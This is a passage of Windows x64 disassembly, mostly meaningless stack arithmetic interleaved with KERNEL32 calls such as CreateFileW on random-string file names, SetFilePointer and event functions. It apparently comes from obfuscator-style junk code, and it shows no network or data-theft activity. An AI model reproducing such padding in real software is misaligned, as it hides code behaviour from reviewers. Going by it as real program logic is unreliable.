mov word [rsp + 0x314], ax
mov rax, qword [rsp + 0x468]
movzx eax, word [rax]
mov word [rsp + 0x704], ax
mov rax, qword [rsp + 0x24d0]
mov rcx, qword [rsp + 0x500]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x11c0]
mov qword [rcx], rax
lea rax, [rsp + 0x798]
mov qword [rsp + 0x1080], rax
mov rax, qword [0x1400fd330]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
and eax, ecx
mov rcx, qword [rsp + 0xa88]
mov byte [rcx], al
mov r9d, 2
xor r8d, r8d
mov edx, 0x5af1
mov rcx, qword [rsp + 0x758]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcd8], eax
mov rax, qword [rsp + 0x2b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xfa8]
mov qword [rsp + 0x46c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x46c8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9c0], rax
movsx eax, word [rsp + 0x30c]
movsx ecx, word [rsp + 0x4cc]
shl eax, cl
mov word [0x1400fd2c0], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3190], rax
lea rax, [rsp + 0x598]
mov qword [rsp + 0x1a20], rax
mov rax, qword [rsp + 0x2320]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xad8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a8], eax
mov rax, qword [rsp + 0x668]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x830]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xe5], al
mov rax, qword [rsp + 0x7f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x11d0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x1188], rax
mov eax, dword [rsp + 0x514]
mov ecx, dword [rsp + 0xb88]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xbc0], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xe011
mov rcx, qword [rsp + 0x1b98]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x10dc], eax
mov rax, qword [rsp + 0x1340]
movzx eax, byte [rax]
mov byte [rsp + 0x2b8], al
mov rax, qword [rsp + 0xf30]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1a8]
shr rax, cl
mov qword [rsp + 0x990], rax
movsx eax, word [rsp + 0x270]
movsx ecx, word [0x1400fd140]
sub eax, ecx
mov word [rsp + 0x554], ax
lea rax, [rsp + 0x13c]
mov qword [0x1400fd388], rax
mov rax, qword [rsp + 0x1020]
mov rcx, qword [rsp + 0x12a8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1308]
mov qword [rcx], rax
movzx eax, word [rsp + 0xec]
movzx ecx, word [rsp + 0x244]
and eax, ecx
mov word [rsp + 0x424], ax
lea rax, [rsp + 0x140]
mov qword [rsp + 0x1190], rax
mov rax, qword [rsp + 0x1138]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc90]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb40]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x1330]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x768]
mov rax, qword [rax]
mov qword [rsp + 0x1be8], rax
movsx eax, byte [0x1400fc381]
mov rcx, qword [rsp + 0x1030]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x13a], al
mov eax, dword [rsp + 0xc8]
mov rcx, qword [rsp + 0x1bc0]
mov qword [rsp + 0x46d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x46d0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x1080]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ILIsParent
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.1KlIVQlJy4njbVFm04xhcefyKbXRxllZ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2c78], rax
mov rax, qword [rsp + 0xd10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x148]
xor eax, ecx
mov word [rsp + 0xafc], ax
mov rax, qword [rsp + 0xd78]
mov rax, qword [rax]
mov qword [0x1400fd390], rax
mov rax, qword [rsp + 0x358]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x830]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x668]
mov byte [rcx], al
lea rax, [rsp + 0xcdc]
mov qword [rsp + 0x2360], rax
mov rax, qword [rsp + 0x740]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x23c]
or eax, ecx
mov word [rsp + 0x554], ax
mov rcx, qword [rsp + 0x1b48]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x5c]
mov qword [rsp + 0x1850], rax
mov rax, qword [rsp + 0x1368]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf9]
add eax, ecx
mov rcx, qword [rsp + 0x17b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x1008]
mov rcx, qword [rsp + 0x1c40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8f8], eax
mov rax, qword [rsp + 0x11d8]
mov qword [rsp + 0x1e80], rax
mov rax, qword [rsp + 0xa58]
movsx eax, word [rax]
movsx ecx, word [0x1400fd2c0]
sub eax, ecx
mov word [rsp + 0x25c], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x7281
mov rcx, qword [rsp + 0x1d18]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xac0], eax
movzx eax, word [rsp + 0x144]
movzx ecx, word [rsp + 0x45c]
and eax, ecx
mov word [0x1400fd190], ax
mov rax, qword [rsp + 0xb48]
mov rax, qword [rax]
mov qword [rsp + 0x2960], rax
mov rax, qword [rsp + 0x16c0]
movzx ecx, al
mov rax, qword [rsp + 0xc78]
sar rax, cl
mov qword [rsp + 0x14a8], rax
mov rcx, qword [rsp + 0x1330]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x27c0], eax
mov rax, qword [rsp + 0x790]
mov rcx, qword [rsp + 0xa30]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc78], rax
mov rax, qword [rsp + 0x180]
movsx eax, word [rax]
mov rcx, qword [0x1400fd228]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3b0], ax
mov rax, qword [rsp + 0x3c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1720]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa68]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xe9]
mov byte [rsp + 0x135], al
mov rax, qword [rsp + 0x1400]
mov ecx, dword [rsp + 0x570]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xf60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x948]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1680], eax
movzx eax, byte [rsp + 0x57e]
mov rcx, qword [rsp + 0xd20]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x134], al
mov rax, qword [0x1400fd158]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x110]
xor eax, ecx
mov word [0x1400fc3e0], ax
mov rax, qword [rsp + 0x2a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5bc]
shl eax, cl
mov word [rsp + 0x5c], ax
mov rax, qword [rsp + 0xf38]
movzx eax, word [rax]
mov word [rsp + 0x6fc], ax
mov rax, qword [rsp + 0xc78]
movzx ecx, al
mov rax, qword [rsp + 0x1440]
sar rax, cl
mov qword [rsp + 0x16c0], rax
mov eax, dword [rsp + 0x7ac]
mov ecx, dword [rsp + 0x9dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x688], eax
mov rax, qword [rsp + 0x1da8]
mov rax, qword [rax]
mov qword [rsp + 0x1300], rax
movsx eax, byte [0x1400fd132]
movsx ecx, byte [rsp + 0xe6]
sub eax, ecx
mov byte [rsp + 0x5a], al
mov rax, qword [rsp + 0xfa0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1420]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x874], ax
movzx eax, word [rsp + 0x730]
mov rcx, qword [rsp + 0xa50]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x598], ax
lea rax, [rsp + 0x1020]
mov qword [0x1400fd398], rax
mov rax, qword [rsp + 0xf70]
movzx eax, word [rax]
mov word [rsp + 0x844], ax
mov rax, qword [rsp + 0x748]
mov rcx, qword [rsp + 0xf88]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x12a8], rax
mov rax, qword [rsp + 0xb28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd08]
add rax, qword [rcx]
mov qword [rsp + 0x978], rax
mov eax, dword [rsp + 0x9a4]
mov ecx, dword [rsp + 0x8f8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2140], eax
mov rax, qword [rsp + 0x500]
mov rcx, qword [rsp + 0xd38]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2348], rax
mov rax, qword [rsp + 0x520]
movzx eax, byte [rax]
mov byte [rsp + 0x400], al
mov rax, qword [rsp + 0x9c8]
mov ecx, dword [rsp + 0xcf0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x47c], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x6da9
mov rcx, qword [rsp + 0x1320]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x9a0], eax
movsx eax, byte [0x1400fc381]
movsx ecx, byte [rsp + 0x2b8]
or eax, ecx
mov byte [rsp + 0xe6], al
mov rcx, qword [rsp + 0x1160]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xe30], eax
mov rax, qword [rsp + 0x14e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x310]
shl eax, cl
mov word [0x1400fc3b0], ax
lea rax, [rsp + 0x370]
mov qword [rsp + 0x1a00], rax
mov rax, qword [rsp + 0x9e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a20]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x300], ax
movzx eax, word [rsp + 0x28c]
mov word [rsp + 0xe7c], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.AyNb0hLJI2iPUoG1UY5c8otJoq3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2d10], rax
mov rax, qword [rsp + 0x1150]
mov eax, dword [rax]
add eax, dword [0x1400fd318]
mov rcx, qword [rsp + 0x960]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1908]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x18a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd18], rax
lea rax, [rsp + 0x154]
mov qword [rsp + 0x1cd8], rax
movsx eax, word [rsp + 0x368]
movsx ecx, word [0x1400fc3c0]
and eax, ecx
mov word [rsp + 0x240], ax
lea rax, [rsp + 0x498]
mov qword [rsp + 0x23c8], rax
mov rcx, qword [rsp + 0x1210]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1694], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x8969
mov rcx, qword [rsp + 0x1320]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x68c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1bb8], rax
mov rax, qword [rsp + 0x7f8]
mov rax, qword [rax]
mov qword [0x1400fd3a0], rax
mov rax, qword [rsp + 0xa70]
mov rcx, qword [rsp + 0x2838]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb28]
mov qword [rcx], rax
lea rax, [rsp + 0x760]
mov qword [rsp + 0x1838], rax
mov rax, qword [rsp + 0xb50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1e8]
mov qword [rsp + 0x46d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x46d8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xcb0]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xe762
mov rcx, qword [rsp + 0x2e98]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa00], eax
mov rcx, qword [rsp + 0x22a8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2114], eax
mov rax, qword [rsp + 0x1228]
movzx eax, word [rax]
movzx ecx, word [0x1400fc398]
add eax, ecx
mov rcx, qword [rsp + 0x650]
mov word [rcx], ax
mov rax, qword [rsp + 0xc50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8e4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf8], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x8caf
mov rcx, qword [rsp + 0x1d10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x904], eax
movzx eax, byte [rsp + 0x131]
mov rcx, qword [rsp + 0x820]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x520]
mov byte [rcx], al
mov rax, qword [rsp + 0x530]
movzx eax, byte [rax]
mov byte [rsp + 0x2de], al
mov rax, qword [rsp + 0x1450]
mov ecx, dword [rsp + 0x13cc]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x640], eax
mov rax, qword [rsp + 0x1900]
mov rcx, qword [rsp + 0x12e0]
mov qword [rsp + 0x46e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x46e0]
mov rax, qword [rax]
shl rax, cl
mov qword [0x1400fd148], rax
mov rax, qword [0x1400fd350]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x190]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x874], ax
lea rax, [rsp + 0x6ac]
mov qword [rsp + 0xf90], rax
mov rax, qword [rsp + 0xd68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3a4]
sar eax, cl
mov word [rsp + 0x288], ax
mov rax, qword [rsp + 0x1fb8]
mov rcx, qword [rsp + 0xc58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1f38], rax
movsx eax, byte [rsp + 0xe4]
movsx ecx, byte [rsp + 0x2de]
sub eax, ecx
mov rcx, qword [rsp + 0x1368]
mov byte [rcx], al
mov rcx, qword [rsp + 0x16d0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1ac4], eax
mov rax, qword [rsp + 0x470]
mov rax, qword [rax]
mov rcx, qword [0x1400fc390]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa68]
mov qword [rcx], rax
lea rax, [rsp + 0x674]
mov qword [rsp + 0x3178], rax
movsx eax, word [rsp + 0x264]
mov rcx, qword [rsp + 0x180]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x1010]
mov word [rcx], ax
lea rax, [rsp + 0x12c]
mov qword [0x1400fd3a8], rax
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x3078], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.PrzkU6l3tQSJfO
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3640], rax
movzx eax, word [rsp + 0xec]
mov rcx, qword [rsp + 0x2a0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x48c], ax
mov rcx, qword [rsp + 0x16b0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x12d8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x520]
mov byte [rcx], al
mov rax, qword [rsp + 0x340]
mov eax, dword [rax]
mov dword [rsp + 0x13e8], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x8fdb
mov rcx, qword [rsp + 0x2c78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe08], eax
mov rax, qword [rsp + 0x1ae0]
mov rcx, qword [rsp + 0x1170]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1be8], rax
mov rcx, qword [rsp + 0x1330]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.f65dGpCe8p3Lqla
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3d38], rax
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x1d80], rax
mov rcx, qword [rsp + 0x1290]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, byte [rsp + 0x2de]
mov rcx, qword [rsp + 0x298]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xf40]
mov byte [rcx], al
movsx eax, word [rsp + 0x98]
movsx ecx, word [rsp + 0x4d0]
and eax, ecx
mov word [rsp + 0x4fc], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0xfbe5
mov rcx, qword [rsp + 0x16e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x680], eax
mov rcx, qword [rsp + 0xc60]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [0x1400fd190]
mov rcx, qword [rsp + 0x2a8]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1400fc434], ax
mov rax, qword [rsp + 0x980]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3e0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x1f38], rax
mov rax, qword [rsp + 0xb28]
mov rcx, qword [rsp + 0x2968]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xd78]
mov qword [rcx], rax
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x1328], rax
movzx eax, word [rsp + 0x40c]
mov rcx, qword [rsp + 0x648]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x12c], ax
mov rax, qword [rsp + 0x6030]
add rax, 0x102710
mov ecx, 0x38
imul rcx, rcx, 4
mov qword [rsp + rcx + 0x5b68], rax
lea rax, [rsp + 0x2348]
mov qword [rsp + 0x1ad8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.m3md3cV_vRRUejxO2CR67a8
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1820], rax
movsx eax, byte [str._aMl]
mov rcx, qword [rsp + 0x1340]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x11f], al
mov rax, qword [rsp + 0x1080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x574]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7f0]
mov dword [rcx], eax
lea rax, [rsp + 0x1440]
mov qword [rsp + 0x1180], rax
mov rax, qword [rsp + 0x9d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xf50]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1400fd210], ax
mov rax, qword [rsp + 0x23c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe0]
and eax, ecx
mov rcx, qword [rsp + 0x1530]
mov word [rcx], ax
mov rcx, qword [rsp + 0x1b48]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x20e0], eax
movzx eax, byte [rsp + 0x90c]
mov byte [rsp + 0x22b], al
mov r9d, 1
xor r8d, r8d
mov edx, 0x84ee
mov rcx, qword [rsp + 0x1d08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x10c8], eax
mov rax, qword [rsp + 0x1948]
mov eax, dword [rax]
mov ecx, dword [0x1400fc384]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x340]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14a8]
mov rcx, qword [rsp + 0x1020]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2538], rax
mov rax, qword [rsp + 0x14f0]
mov rcx, qword [0x1400fc390]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2888], rax
mov rcx, qword [rsp + 0x1c18]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0xe20]
movzx ecx, al
mov eax, dword [rsp + 0x798]
shr eax, cl
mov rcx, qword [rsp + 0x7f0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x11d]
mov byte [rsp + 0x1ba], al
movsx eax, word [0x1400fd378]
mov rcx, qword [rsp + 0x18e0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x314], ax
mov rax, qword [rsp + 0xf80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x648]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x1400fd160]
mov word [rcx], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0xccc4
mov rcx, qword [rsp + 0x1b10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x167c], eax
mov rax, qword [rsp + 0xb38]
mov rcx, qword [0x1400fd258]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x3648], rax
mov rcx, qword [rsp + 0x1e68]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.LFpTgguvvMcxYZlVwA_tc2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2b60], rax
movzx eax, word [rsp + 0x458]
mov rcx, qword [rsp + 0x468]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3b8], ax
mov rcx, qword [rsp + 0x16b0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1390], eax
movsx eax, word [rsp + 0x310]
mov rcx, qword [rsp + 0x1280]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1010]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xbace
mov rcx, qword [rsp + 0x2860]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa40], eax
mov rax, qword [rsp + 0x790]
mov rax, qword [rax]
mov qword [rsp + 0x1518], rax
mov rax, qword [rsp + 0x1ad8]
mov rcx, qword [rsp + 0x1870]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x11c0]
mov qword [rcx], rax
mov eax, dword [rsp + 0xc4]
mov dword [rsp + 0xcc8], eax
mov rax, qword [rsp + 0x1510]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
sar eax, cl
mov byte [rsp + 0x11b], al
movzx eax, word [rsp + 0xafc]
mov rcx, qword [rsp + 0xf70]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x4b4], ax
lea rax, [rsp + 0xb68]
mov qword [0x1400fd3b0], rax
mov rax, qword [0x1400fd138]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1948]
add eax, dword [rcx]
mov dword [rsp + 0xa04], eax
movzx eax, byte [rsp + 0x10a]
mov rcx, qword [rsp + 0x1428]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xcd], al
movzx eax, word [rsp + 0x1e0]
mov word [rsp + 0x43c], ax
movzx eax, word [0x1400fd168]
mov rcx, qword [rsp + 0x2a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x198], ax
mov rax, qword [rsp + 0x2268]
mov rcx, qword [rsp + 0x11c0]
mov qword [rsp + 0x46e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x46e8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x1be8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x2c50], rax
mov rax, qword [0x1400fd358]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x13cc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1688], eax
mov rax, qword [rsp + 0xa88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3fb]
shl eax, cl
mov byte [rsp + 0x81], al
lea rax, [rsp + 0x410]
mov qword [rsp + 0x1438], rax
mov eax, 0x38
imul rax, rax, 2
mov dword [rsp + rax + 0x5b80], 0x1c29b156
mov rax, qword [rsp + 0xf80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf38]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1400fc3bc], ax
mov rax, qword [rsp + 0x1218]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x16e8]
add rax, qword [rcx]
mov rcx, qword [rsp + 0x1250]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9b0]
mov rcx, qword [0x1400fd398]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x1298], rax
mov rax, qword [rsp + 0xc78]
mov qword [rsp + 0x2a78], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xc00
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcb8], eax
movsx eax, word [rsp + 0x218]
mov rcx, qword [rsp + 0x1a00]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x19c], ax
mov rax, qword [rsp + 0xd28]
mov eax, dword [rax]
mov dword [rsp + 0xb98], eax
mov rax, qword [rsp + 0xfd0]
mov rax, qword [rax]
mov rcx, qword [0x1400fd380]
mov qword [rsp + 0x46f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x46f0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xc98], rax
lea rax, [rsp + 0xea]
mov qword [rsp + 0x1f68], rax
mov eax, dword [rsp + 0xa4]
cdq
mov rcx, qword [rsp + 0x1058]
idiv dword [rcx]
mov rcx, qword [rsp + 0xa38]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x10d]
mov rcx, qword [rsp + 0x820]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xcd], al
mov rcx, qword [rsp + 0x1098]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x3b0]
mov word [0x1400fd3b8], ax
mov rax, qword [rsp + 0x11f8]
movzx eax, word [rax]
mov rcx, qword [0x1400fd160]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x5e8], ax
movzx eax, word [rsp + 0x220]
mov rcx, qword [rsp + 0xf70]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x318], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xae60
mov rcx, qword [rsp + 0x1b98]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1994], eax
mov rcx, qword [rsp + 0x2568]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1104], eax
mov rax, qword [rsp + 0x1000]
mov rax, qword [rax]
mov qword [rsp + 0x2e90], rax
mov rax, qword [rsp + 0xfd8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x16d8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x135], al
mov rax, qword [rsp + 0x818]
mov rcx, qword [rsp + 0x1be8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1da8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x17e0]
mov eax, dword [rax]
add eax, dword [rsp + 0x514]
mov dword [rsp + 0x1120], eax
movsx eax, word [0x1400fc420]
movsx ecx, word [rsp + 0x2bc]
xor eax, ecx
mov word [rsp + 0x23c], ax
mov rax, qword [rsp + 0x1288]
movzx eax, word [rax]
mov word [rsp + 0xbe4], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x6043
mov rcx, qword [rsp + 0x1d08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x21dc], eax
mov rax, qword [rsp + 0x320]
mov rcx, qword [rsp + 0x16e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [0x1400fc438], rax
mov rax, qword [0x1400fd170]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb04]
shl eax, cl
mov word [rsp + 0x430], ax
mov rcx, qword [rsp + 0x2478]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1118], eax
mov rax, qword [rsp + 0x1700]
mov rcx, qword [rsp + 0x620]
mov qword [rsp + 0x46f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x46f8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x1070], rax
mov rax, qword [0x1400fd2e8]
